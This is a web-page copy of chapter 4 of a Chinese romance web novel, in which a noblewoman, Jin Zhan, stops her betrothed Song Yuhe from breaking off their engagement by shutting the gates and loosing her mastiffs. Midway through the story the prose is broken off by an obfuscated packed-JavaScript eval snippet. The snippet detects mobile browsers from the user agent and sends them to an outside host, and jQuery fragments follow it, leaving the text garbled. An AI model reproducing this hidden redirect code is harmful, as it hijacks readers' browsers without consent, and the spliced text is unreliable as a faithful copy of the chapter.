默认冷灰
24号文字
方正启体

4. 退不了

作者:大幕本书字数:K更新时间:
    春桃一声清亮中气十足的高呼,打破这份恐慌。


    只见一身鹅黄春衫的女子大步流星而来。她面容娇俏,发髻因狂奔而略显凌乱,几缕青丝俏皮地贴在光洁的额角,平添了几分生机勃勃的……匪气。


    “大小姐?”朱妙贞强撑着发软的腿,仍是一贯的温和,却语气僵硬,“你、你这是做什么?如此阵仗惊了贵客如何是好?”


    金旃目光灼灼,瞬间锁定了厅中那个青衫挺拔的身影——他静静地站在那里,身姿挺拔如修竹,宽大的青衫也掩不住那份清隽风骨。眉眼如昔,只是比记忆中更年轻,那份清冷疏离也更甚。


    金旃在心中高呼——活的宋玉禾!热的宋玉禾!脑袋还在脖子上的宋玉禾!


    金旃对于朱妙贞的话置若罔闻,只是目光死死的盯着宋玉禾,一步步走近,一遍遍的告诫自己——金旃,温柔点儿,初见留个好印象。


    这么想着,金旃挤出这辈子第一个“温婉”的笑容,结果嘴角不受控制地抽搐了一下,配上她灼灼的目光,活像只盯上猎物的、龇着牙的漂亮豹子。


    厅内众人无不屏息——看咱家大小姐那逼近宋家公子的架势,看她那诡异阴鸷的笑容,莫不是要绑了宋家公子拉去喂獒?


    在所有人惊骇的目光中,金旃停在宋玉禾面前,伸出了爪子,目标明确、稳准狠地——一把按在了宋玉禾的胸口!


    掌心下,隔着薄薄的青衫布料,传来温热坚实的触感,以及那一下下沉稳有力的搏动。


    金旃差点想哭出来:咚咚咚!跳得真有劲儿!好!好得很!比乱葬岗里凉透了的强一万倍!


    宋玉禾大骇,被这“突袭”逼得后退一步,跌坐在身后的椅子上,脊背重重撞在椅背上。一直清冷的眸子终于掀起惊涛骇浪——那不仅仅是惊疑、戒备和被冒犯的愠怒,更有一闪而过的冰冷杀意。


    那眼神,绝非一个初入京都的寒门书生所能拥有。但这骇人的锋芒只持续了一瞬,他迅速垂下眼睫,掩去所有情绪。


    众人只能看见他紧绷的下颌线和嘴角,透露一股子狼狈和屈辱。


    宋玉禾紧皱眉头——上辈子她虽刻薄羞辱,好歹还披着世家贵女那层矜持守礼的皮,这辈子初见时就直接动手动脚?


    宋玉禾低垂的眼睫骤然抬起,那双瑞凤眼突生阴鸷冰冷。


    金旃被这眼神冻得一个激灵——不就是摸摸胸、确认下死活吗?至于用看死人一样的眼神瞅我?上辈子也没见你这么小气啊。


    金旃讪讪的收回手,一低头正好看见桌上的玉佩和合婚庚帖——哎哟差点忘了,这小子今天是来退婚的。


    这么想着,金旃挑眉,拿起那半枚羊脂玉佩的流苏穗子,细细把玩起来。


    宋玉禾也早已收那审视的目光,理了下被金旃抓出褶皱的青衫前襟,说道:“在下宋玉禾。今日依父辈十五年之约,前来——退亲。”


    初定婚约,两人不过黄口小儿,父辈定下十五年之盟,如今宋玉禾二十二岁,金旃十九岁,恰是约定年岁。可今时今日再提起,却是“退亲”?


    金旃闻言,长眉倏地一挑,那双本就明媚生辉的眸子瞬间亮得惊人。唇角微微勾起,绽开一个狡黠灵动的笑容。


    宋玉禾心中警惕——来了,这是她要使坏的标志性表情!


    前世无数次惨痛教训形成的条件反射,让他后背的肌肉都下意识地绷紧了。


    “退婚?”金旃甚是夸张的捂嘴,如同受了极大的委屈,“宋家哥哥,怎么多年不见,一见面就要退婚?”


    宋玉禾不由愣住。


    “莫不是——”金旃缓缓回头,看向瘫坐在正座上的朱妙贞。


    “朱姨娘啊。”金旃的声音不大,带着一股子玩味的寒意,“这门亲事,是我父亲与宋伯父定下的。今日宋家公子持信物依约登门,却在这侯府受尽了冷茶慢待、言语奚落。”


    她目光扫过宋玉禾面前那杯早已凉透、无人续水的茶盏,最后定格在朱妙贞那张强作镇定的脸上。


    “怎么?我金宋两家的百年之约、秦晋之好,成与不成,只需向你一个妾室报备一声即可?”


    朱妙贞被她当众如此嘲讽,脸色惨白,挤出尚且看的过去的笑容:“大小姐莫要误会了。姨娘怎敢置喙你的婚事?之前提及婚事你便是百般不肯,今日又是宋公子他自己提及退婚之事,我也是——”


    “看来,还真是因为朱姨娘。”金旃一边“痛心疾首”地摇头打断朱妙贞的话,一边看向宋玉禾,微微蹙眉,兰花指捻锦帕轻点下巴,一股子娇柔味儿,“宋家哥哥放心,妹妹的婚事,还轮不到姨娘在此指手画脚,妄图替我做主。”


    宋玉禾听着金旃这番颠倒黑白、指桑骂槐的高论,有些好笑。


    他微微一笑:“金小姐言重了。夫人并未多言,也已尽到待客之礼。是玉禾自知门第寒微,实乃云泥之别,不敢高攀贵府千金,恐误了小姐锦绣前程,故而特来退亲,还请小姐莫要迁怒旁人。”


    这番话,看似谦卑解释,实则滴水不漏,既撇清了朱妙贞,更将退婚的缘由死死钉在“门第悬殊”上,不给金旃借题发挥、攀咬他人的机会。


    这小子,铁了心的要退婚?


    金旃挑眉,并不应话,而是眼睛扫过厅内噤若寒蝉的众人,掷地有声:“宋公子如此深明大义,果真端方君子,今日在府上受此怠慢屈辱,心生退意,实属人之常情。但这桩婚事,乃父辈所定,信物婚帖,天地可鉴,如此天赐良缘,门第之说算什么?我金旃——求之不得,心甘情愿。”


    她转头,勾着玉佩,冲宋玉禾挑眉一笑:“这桩婚事,谁也拆、不、了。”


    此言一出,满厅死寂,落针可闻。众人都不敢相信,一向提起这桩婚事就要掀翻屋顶的金大小姐竟把这场退婚闹剧归结到朱姨娘的身上,还当众说出“求之不得”、“心甘情愿”?


    朱妙贞也彻底懵了,一个字也吐不出来,只剩满眼的荒谬。


    宋玉禾紧蹙眉,预要起身说些什么——


    “吼呜!”


    只见


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127750|180133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    数头凶神恶煞的西域獒犬冲了进来——腥风扑面,獠牙森然。獒犬认出金旃,亲昵地蹭到她脚边,却仍对其他人呲牙低吼。


    金旃受用的摸了一圈儿獒犬的脑袋,突然想起了什么,回头看向宋玉禾。


    不出所料,宋玉禾的脸色唰的一下惨白,薄唇紧抿。骨节分明的手死死抓着圈椅扶手,手背上青筋隐现,指节因用力过度而根根泛白,显然在极力克制着本能的恐惧和厌恶。


    ——宋玉禾自小就怕狗,尤其怕这种大型猛犬。本来也不至于此,不过谁让他今日是上门退婚的呢?吓一吓,权当收点棺材本的利息。反□□门已钉死,退路已堵绝,他插翅也难飞。


    金旃的恶趣味又回来了。


    她笑的甚是“温婉和善”,可在巨大獒犬狰狞的阴影衬托下,那笑容非但没有半点安抚作用,反而显得格外阴森可怖,活像话本里索命的女罗刹。


    眼见宋玉禾的表情越来越苍白,甚至能看清他额角渗出的细密冷汗,金旃心底那点恶劣的得意莫名减了几分。


    她清了清嗓子,努力让声音听起来轻快柔和:“这东京居大不易,宋家哥哥初来乍到,想必还没找到下榻之处吧?”


    金旃只觉得自己字字真心,用心良苦:“这外面世道乱,坏人可多了。不如就安心在我家暂住?我们侯府别的没有,就是地方大,狗……咳,护院多!安全得很,保管哥哥吃好睡好!”


    她一边说,猛地一拍旁边獒犬“黑煞”毛茸茸的大脑袋。


    “呜——汪!”黑煞配合地低吼一声,獠牙毕露,气势如虹。其他几头獒犬也立刻响应,低吼着向前逼近一步。


    吓得厅内几个胆小的丫鬟尖叫出声,瘫软在地,更别提宋玉禾。


    虽说确实缺德,但是金旃瞧着宋玉禾“花容失色”莫名爽了——就你还想退婚?老娘有的是法子治你,百八十种都不带重样的。今日只要你再说一个“退”字,我肯定放黑煞追着咬!


    宋玉禾看着那眉飞色舞的金旃和眼前这荒诞绝伦的一幕,只觉得啼笑皆非,可电光火石间,一个猜想成形。


    他压下翻涌心绪,面上不显,只是一贯温和的笑意。


    “府门既已钉死,”宋玉禾的声音恢复了平静,甚至带着一丝奇异的顺从,他慢条斯理地开口,“金小姐又遣爱宠相迎,盛情拳拳,在下……”


    他故意顿了顿,眼见金旃莫名紧张的蹙眉,才悠悠吐出后半句:“实难推却。”


    他修长如玉的手指轻轻拂过青衫上细微的褶皱,姿态闲适。


    再是起身拱手,动作从容不迫,仿佛不是被凶兽环伺、退路断绝的“囚徒”,而是即将下榻某处清雅别院的贵客。


    “如此,只好叨扰了。”


    金旃挑眉,嗤笑一声——这宋玉禾全赖他托生一副好皮囊,即使说的话阴阳怪气,但依旧是好骗人的狗模样啊。


    不就是阴阳怪气吗?行,陪你玩。反正门钉死了,狗放出来了,你这块唐僧肉……


    我金旃吃定了!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)